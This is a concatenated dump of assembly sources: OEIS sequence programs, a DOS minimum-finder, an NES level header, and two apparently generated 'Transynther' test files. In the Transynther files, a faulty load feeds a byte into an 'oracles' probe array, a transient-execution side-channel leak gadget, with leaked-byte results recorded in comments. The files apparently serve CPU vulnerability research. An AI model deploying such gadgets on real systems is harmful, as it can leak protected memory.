<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}}
{'00': 1446, '26': 2, 'a8': 3, 'f4': 1, 'ee': 3, '48': 1, '70': 2, '30': 1, '2e': 2, '8e': 2, 'a0': 1, '92': 1, '8c': 2, '6e': 1, '12': 1, 'f2': 3, '90': 2, '88': 1, '24': 1, '64': 3, 'e8': 1, 'd0': 2, 'aa': 1, 'b4': 1, 'a6': 1, '1e': 1, '2c': 1, '5c': 1, '4c': 2, '38': 1, '4a': 1, '5e': 1, 'ec': 1, 'ca': 1, '58': 1, '28': 1, 'f6': 1, '6a': 1, '96': 1, '3e': 1, 'c0': 1, 'b2': 1, '1c': 1, 'b0': 1, 'fe': 1, 'fc': 1, '44': 1}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 00 00 00 00 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 00 ee 00 00 00 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 92 00 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 00 00 00 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 e8 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 00 00 00 00 00 d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a6 00 00 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 00 00 5c 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c 00 00 00 00 00 00 00 00 00 4a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 00 00 00 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 35.608108
| 2,999
| 0.638583
|
59cdb06cbf66286b32cc9932de49c0430ac98e90
| 740
|
asm
|
Assembly
|
KR1/min.asm
|
Winterpuma/bmstu_MDPL
|
28fb1f93e5ce4321c98ff6cf1b997972a48724ee
|
[
"MIT"
] | 14
|
2019-02-25T11:09:12.000Z
|
2022-03-12T23:29:11.000Z
|
KR1/min.asm
|
Winterpuma/bmstu_MDPL
|
28fb1f93e5ce4321c98ff6cf1b997972a48724ee
|
[
"MIT"
] | null | null | null |
KR1/min.asm
|
Winterpuma/bmstu_MDPL
|
28fb1f93e5ce4321c98ff6cf1b997972a48724ee
|
[
"MIT"
] | null | null | null |
; Programm will find min symbol in array
; Output it and it's index
SSEG SEGMENT PARA STACK 'STACK'
DB 64 DUP(0)
SSEG ENDS
DSEG SEGMENT PARA 'DATA'
A DB "3423531945"
DSEG ENDS
CSEG SEGMENT PARA 'CODE'
ASSUME CS:CSEG, DS:DSEG, SS:SSEG
START PROC FAR
MOV AX, DSEG
MOV DS, AX
MOV SI, 1 ; current index
MOV DI, 0 ; index of min element
MOV CX, 9 ; array size
M2: MOV AL, A[DI]
CMP A[SI], AL
JB M3 ; A[SI] < AL
JA M4 ; A[SI] > AL
M3: MOV DI, SI
M4: INC SI
LOOP M2
; output min symbol
MOV AH, 2
; ADD A[DI], '0' if elements in A are splited by comma
MOV DL, A[DI]
INT 21H
MOV DL, 20H ; space
INT 21H
; output index of min symbol
MOV DX, DI
ADD DL, '0'
INT 21H
MOV AH,4CH
INT 21H
START ENDP
CSEG ENDS
END START
| 14.8
| 55
| 0.659459
|
d57178df8ee37810d175af97724b52c2d4a8afaf
| 6,356
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_236_569.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_236_569.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_236_569.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x13cec, %r13
nop
nop
nop
nop
cmp %rax, %rax
movups (%r13), %xmm4
vpextrq $1, %xmm4, %rsi
add $52156, %r14
lea addresses_WC_ht+0xc9ec, %rsi
lea addresses_normal_ht+0x1514c, %rdi
nop
xor %r10, %r10
mov $125, %rcx
rep movsq
nop
nop
nop
nop
nop
add %r13, %r13
lea addresses_D_ht+0x70fc, %r10
nop
nop
nop
nop
nop
sub %r14, %r14
mov $0x6162636465666768, %rdi
movq %rdi, %xmm0
vmovups %ymm0, (%r10)
cmp $24647, %r13
lea addresses_A_ht+0x1a666, %rsi
lea addresses_WC_ht+0x1336c, %rdi
nop
nop
nop
nop
nop
add %rbx, %rbx
mov $94, %rcx
rep movsl
nop
nop
nop
cmp %r13, %r13
lea addresses_WC_ht+0x8eec, %rbx
nop
and %rsi, %rsi
mov $0x6162636465666768, %r10
movq %r10, %xmm1
vmovups %ymm1, (%rbx)
nop
nop
nop
nop
nop
inc %rbx
lea addresses_WC_ht+0xe2ec, %r10
nop
dec %r14
mov (%r10), %esi
nop
nop
nop
nop
add %r14, %r14
lea addresses_UC_ht+0x1e97c, %rsi
lea addresses_A_ht+0x78ec, %rdi
nop
nop
nop
nop
and %rax, %rax
mov $59, %rcx
rep movsq
nop
nop
nop
inc %r10
lea addresses_WT_ht+0x15dec, %r14
nop
cmp $11080, %r10
mov $0x6162636465666768, %rdi
movq %rdi, %xmm1
vmovups %ymm1, (%r14)
nop
nop
nop
add %r14, %r14
lea addresses_UC_ht+0x90c4, %rsi
lea addresses_A_ht+0x1b76c, %rdi
nop
nop
and $44559, %r10
mov $18, %rcx
rep movsw
nop
nop
nop
cmp $33344, %rsi
lea addresses_WT_ht+0x1e7ec, %rsi
lea addresses_normal_ht+0xa72c, %rdi
nop
nop
nop
nop
nop
sub %rbx, %rbx
mov $120, %rcx
rep movsq
nop
nop
nop
nop
nop
xor $39937, %rdi
lea addresses_D_ht+0x1b329, %r13
nop
dec %rax
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
vmovups %ymm0, (%r13)
nop
nop
nop
nop
cmp %r14, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r9
push %rax
push %rcx
push %rsi
// Load
lea addresses_US+0x7683, %rax
nop
inc %rsi
movups (%rax), %xmm0
vpextrq $1, %xmm0, %r13
nop
xor %r12, %r12
// Load
lea addresses_UC+0x1a30c, %r10
nop
nop
and %r13, %r13
movups (%r10), %xmm5
vpextrq $0, %xmm5, %rsi
nop
nop
nop
nop
xor %r10, %r10
// Load
mov $0x6b0f4400000006ec, %rsi
and %rcx, %rcx
mov (%rsi), %eax
nop
sub $38215, %r9
// Store
lea addresses_US+0x18d7c, %r12
clflush (%r12)
nop
nop
nop
nop
xor $50531, %r10
movw $0x5152, (%r12)
xor %rcx, %rcx
// Store
lea addresses_WT+0x156ec, %r12
nop
nop
nop
nop
dec %r10
mov $0x5152535455565758, %r13
movq %r13, %xmm2
movups %xmm2, (%r12)
nop
nop
cmp %r10, %r10
// Load
lea addresses_PSE+0x142ec, %rcx
nop
nop
nop
cmp %r13, %r13
movb (%rcx), %al
nop
nop
nop
nop
sub %rax, %rax
// Store
mov $0x51888d0000000d6c, %r13
nop
xor $53037, %r10
movb $0x51, (%r13)
nop
inc %rcx
// Faulty Load
lea addresses_D+0xdeec, %r12
clflush (%r12)
nop
nop
dec %rcx
mov (%r12), %r10
lea oracles, %rax
and $0xff, %r10
shlq $12, %r10
mov (%rax,%r10,1), %r10
pop %rsi
pop %rcx
pop %rax
pop %r9
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'36': 236}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 22.539007
| 707
| 0.649937
|
856c16141680e86d2a2e66c80941f5fe77364941
| 1,273
|
asm
|
Assembly
|
programs/oeis/335/A335063.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/335/A335063.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/335/A335063.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A335063: a(n) = Sum_{k=0..n} (binomial(n,k) mod 2) * k.
; 0,1,2,6,4,10,12,28,8,18,20,44,24,52,56,120,16,34,36,76,40,84,88,184,48,100,104,216,112,232,240,496,32,66,68,140,72,148,152,312,80,164,168,344,176,360,368,752,96,196,200,408,208,424,432,880,224,456,464,944,480,976,992,2016,64,130,132,268,136,276,280,568,144,292,296,600,304,616,624,1264,160,324,328,664,336,680,688,1392,352,712,720,1456,736,1488,1504,3040,192,388,392,792,400,808,816,1648,416,840,848,1712,864,1744,1760,3552,448,904,912,1840,928,1872,1888,3808,960,1936,1952,3936,1984,4000,4032,8128,128,258,260,524,264,532,536,1080,272,548,552,1112,560,1128,1136,2288,288,580,584,1176,592,1192,1200,2416,608,1224,1232,2480,1248,2512,2528,5088,320,644,648,1304,656,1320,1328,2672,672,1352,1360,2736,1376,2768,2784,5600,704,1416,1424,2864,1440,2896,2912,5856,1472,2960,2976,5984,3008,6048,6080,12224,384,772,776,1560,784,1576,1584,3184,800,1608,1616,3248,1632,3280,3296,6624,832,1672,1680,3376,1696,3408,3424,6880,1728,3472,3488,7008,3520,7072,7104,14272,896,1800,1808,3632,1824,3664,3680,7392,1856,3728,3744,7520,3776,7584,7616,15296,1920,3856,3872,7776,3904,7840,7872,15808,3968,7968
mov $2,$0
mov $3,$0
lpb $0
div $2,2
sub $0,$2
lpe
lpb $0
sub $0,1
mov $1,2
mul $3,2
add $1,$3
lpe
sub $1,1
div $1,2
| 70.722222
| 1,085
| 0.729772
|
3abc3979f5420b093289cd52dfdc385b0d39ddcd
| 1,505
|
asm
|
Assembly
|
programs/oeis/100/A100041.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/100/A100041.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/100/A100041.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A100041: a(n) = 2*n^2 + n - 7.
; -7,-4,3,14,29,48,71,98,129,164,203,246,293,344,399,458,521,588,659,734,813,896,983,1074,1169,1268,1371,1478,1589,1704,1823,1946,2073,2204,2339,2478,2621,2768,2919,3074,3233,3396,3563,3734,3909,4088,4271,4458,4649,4844,5043,5246,5453,5664,5879,6098,6321,6548,6779,7014,7253,7496,7743,7994,8249,8508,8771,9038,9309,9584,9863,10146,10433,10724,11019,11318,11621,11928,12239,12554,12873,13196,13523,13854,14189,14528,14871,15218,15569,15924,16283,16646,17013,17384,17759,18138,18521,18908,19299,19694,20093,20496,20903,21314,21729,22148,22571,22998,23429,23864,24303,24746,25193,25644,26099,26558,27021,27488,27959,28434,28913,29396,29883,30374,30869,31368,31871,32378,32889,33404,33923,34446,34973,35504,36039,36578,37121,37668,38219,38774,39333,39896,40463,41034,41609,42188,42771,43358,43949,44544,45143,45746,46353,46964,47579,48198,48821,49448,50079,50714,51353,51996,52643,53294,53949,54608,55271,55938,56609,57284,57963,58646,59333,60024,60719,61418,62121,62828,63539,64254,64973,65696,66423,67154,67889,68628,69371,70118,70869,71624,72383,73146,73913,74684,75459,76238,77021,77808,78599,79394,80193,80996,81803,82614,83429,84248,85071,85898,86729,87564,88403,89246,90093,90944,91799,92658,93521,94388,95259,96134,97013,97896,98783,99674,100569,101468,102371,103278,104189,105104,106023,106946,107873,108804,109739,110678,111621,112568,113519,114474,115433,116396,117363,118334,119309,120288,121271,122258,123249,124244
mul $0,2
add $0,1
bin $0,2
sub $0,7
mov $1,$0
| 167.222222
| 1,424
| 0.803987
|
46e165af01f76eacbc39b05a9f1891852b5510be
| 3,410
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-7700_9_0xca_notsx.log_144_871.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-7700_9_0xca_notsx.log_144_871.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-7700_9_0xca_notsx.log_144_871.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x4139, %rbp
nop
nop
nop
and $2047, %r9
mov $0x6162636465666768, %rbx
movq %rbx, %xmm4
movups %xmm4, (%rbp)
nop
inc %rdx
lea addresses_WT_ht+0x119ae, %rsi
lea addresses_D_ht+0x19139, %rdi
nop
nop
nop
nop
sub $8174, %rbx
mov $34, %rcx
rep movsb
nop
nop
nop
nop
nop
sub %rdx, %rdx
lea addresses_normal_ht+0xd139, %rbp
nop
nop
xor %r9, %r9
mov (%rbp), %rcx
nop
nop
nop
add $63526, %rbp
lea addresses_WT_ht+0x17539, %rcx
nop
nop
lfence
movb (%rcx), %bl
nop
nop
nop
nop
and $20222, %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %r8
push %rax
push %rbp
// Store
lea addresses_PSE+0x1f2b9, %rbp
cmp %r13, %r13
mov $0x5152535455565758, %r10
movq %r10, (%rbp)
mfence
// Store
lea addresses_WC+0x69f9, %r8
cmp %rax, %rax
mov $0x5152535455565758, %r13
movq %r13, (%r8)
nop
nop
nop
nop
cmp %rax, %rax
// Load
lea addresses_US+0x6939, %r12
sub $35874, %rbp
movups (%r12), %xmm4
vpextrq $1, %xmm4, %r8
nop
nop
nop
nop
nop
sub $12476, %rax
// Load
lea addresses_PSE+0x1939, %r11
clflush (%r11)
nop
nop
nop
xor %rax, %rax
vmovups (%r11), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %r12
xor %r12, %r12
// Faulty Load
lea addresses_PSE+0x1939, %rax
clflush (%rax)
nop
nop
nop
nop
and $60320, %r13
movaps (%rax), %xmm2
vpextrq $1, %xmm2, %r11
lea oracles, %rax
and $0xff, %r11
shlq $12, %r11
mov (%rax,%r11,1), %r11
pop %rbp
pop %rax
pop %r8
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'00': 4, '49': 140}
49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 00 49 00 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49
*/
| 21.858974
| 431
| 0.647801
|
560a820347f79f40d60a52f586f3ee12d03fac6c
| 491
|
asm
|
Assembly
|
programs/oeis/266/A266593.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/266/A266593.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/266/A266593.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A266593: Number of ON (black) cells in the n-th iteration of the "Rule 37" elementary cellular automaton starting with a single ON (black) cell.
; 1,1,3,2,3,6,3,10,3,14,3,18,3,22,3,26,3,30,3,34,3,38,3,42,3,46,3,50,3,54,3,58,3,62,3,66,3,70,3,74,3,78,3,82,3,86,3,90,3,94,3,98,3,102,3,106,3,110,3,114,3,118,3,122,3,126,3,130,3,134,3,138,3,142,3,146,3,150,3,154,3,158,3,162,3,166,3,170,3,174,3,178,3,182,3,186,3,190,3,194
mul $0,2
mov $1,$0
trn $0,5
lpb $1
mov $0,2
dif $1,4
lpe
add $0,1
| 40.916667
| 272
| 0.651731
|
9c4c6022983e544ef40a33ff13b73c0085c2ad1d
| 807
|
asm
|
Assembly
|
PRG/levels/Airship/W3ABoss.asm
|
narfman0/smb3_pp1
|
38a58adafff67a403591e38875e9fae943a5fe76
|
[
"Unlicense"
] | null | null | null |
PRG/levels/Airship/W3ABoss.asm
|
narfman0/smb3_pp1
|
38a58adafff67a403591e38875e9fae943a5fe76
|
[
"Unlicense"
] | null | null | null |
PRG/levels/Airship/W3ABoss.asm
|
narfman0/smb3_pp1
|
38a58adafff67a403591e38875e9fae943a5fe76
|
[
"Unlicense"
] | null | null | null |
; Original address was $BAA0
; Airship boss room
.word $0000 ; Alternate level layout
.word $0000 ; Alternate object layout
.byte LEVEL1_SIZE_01 | LEVEL1_YSTART_070
.byte LEVEL2_BGPAL_05 | LEVEL2_OBJPAL_09 | LEVEL2_XSTART_18
.byte LEVEL3_TILESET_10 | LEVEL3_VSCROLL_LOCKED | LEVEL3_PIPENOTEXIT
.byte LEVEL4_BGBANK_INDEX(10) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_BOSS | LEVEL5_TIME_300
